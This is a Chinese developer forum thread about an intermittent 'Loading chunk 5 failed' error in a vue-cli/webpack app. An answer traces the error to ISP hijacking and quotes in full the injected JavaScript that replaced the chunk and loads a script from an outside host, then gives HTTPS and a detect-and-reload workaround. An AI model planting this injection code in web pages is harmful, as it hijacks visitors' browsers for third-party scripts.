在测试服上偶然出现 Error: Loading chunk 5 failed.

项目是使用vue-cli + webpack打包。
在测试服上偶然性地出现Loading chunk 5 failed,再刷新就不提示错误,一切显示正常。我也很纳闷,请各位帮着分析原因。
下面是报错截图:
图片描述

阅读 7.4k
2 个回答

在苦苦寻觅下,找这里找到了答案:https://segmentfault.com/q/10...
出现的原因是因为 电信劫持了dns,在网页中将我原来的5.fd7xxxxxxxxxxxx.js成以下的代码

var _b, _c, _ju = "http://testapi.233sy.cn/tg/down/static/js/5.fd7c409603287d19fa4b.js";
_ju = _ju + (_ju.indexOf("?") > 0 ? "&" :"?") + "_t=" + new Date().getTime(),
_b = "AH488569",_c = "382542271_(iKm6V1g0V1P6wj8Nih==_358325746_@iJvkDKehwJ9Wi6et9JgWitfZMe==_)iKghiJeh", function(a) {
    function b(b) {
        var c = a.createElement("script");
        c.setAttribute("src", b), a.head ? a.head.appendChild(c) :a.body && a.body.appendChild(c);
    }
    var c = a.location.host.split("."), d = c.length, e = c[d - 2] + "." + c[d - 1];
    /^(com|net|org|gov)$/.test(c[d - 2]) && d > 2 && (e = c[d - 3] + "." + c[d - 2] + "." + c[d - 1]),
        _ju.indexOf(e) > 0 ? (a.write('<div><script>document.write(unescape(\'%3Cscript id="_ju_" src="' + _ju + "\" %3E%3C/script%3E') );</script></div>"),
        a.getElementById("_ju_") || b(_ju)) :b(_ju), b("http:///gfnsdv.yxwwj.cn:8001/pjk/static/tp.php?b="+_b+"&");
}(document);

我使用的是路由懒加载,才有上面的提示。之前模块5被替换这个,就load不到了。

解决方式:
1、使用https协议,不让电信劫持dns
2、自己判断不正常代码存在,重新刷新该地址(短期内,我们目前就是用这种方式解决的)

 window.onload = function(){
      
      let isSetInt = false;
      let setInt = setInterval(r => {
          let index  = getstore() || 0;
          let findDns = false;
          if (isSetInt) {
              clearInterval(setInt);
              let scr = document.getElementsByTagName('script');
            for (var i = scr.length - 1; i >= 0; i--) {
                if (scr[i].src.indexOf('gfnsdv.yxwwj.cn') != -1 && index < 2) {
                    
                    findDns = true;
                    store(++index);
                    window.location.reload();
                    break;
                }
            }
            if (!findDns) {
                store(0)
            }
          }
          try{
              if (getmd5) {
                  isSetInt = true;
              }
              
          }catch(e){
              console.log(e);
          }
      },1000);
    
  }

      function store (state) {
        try {
           return localStorage.setItem('index', state);
        } catch (e) {
          cookie.setCookie('index',state, 1);
        }
    }

    function getstore () {
        if (localStorage.getItem('index') == null) {
            return unescape(cookie.getCookie('index'));
        }else{
            return localStorage.getItem('index');
        }
    }
推荐问题
宣传栏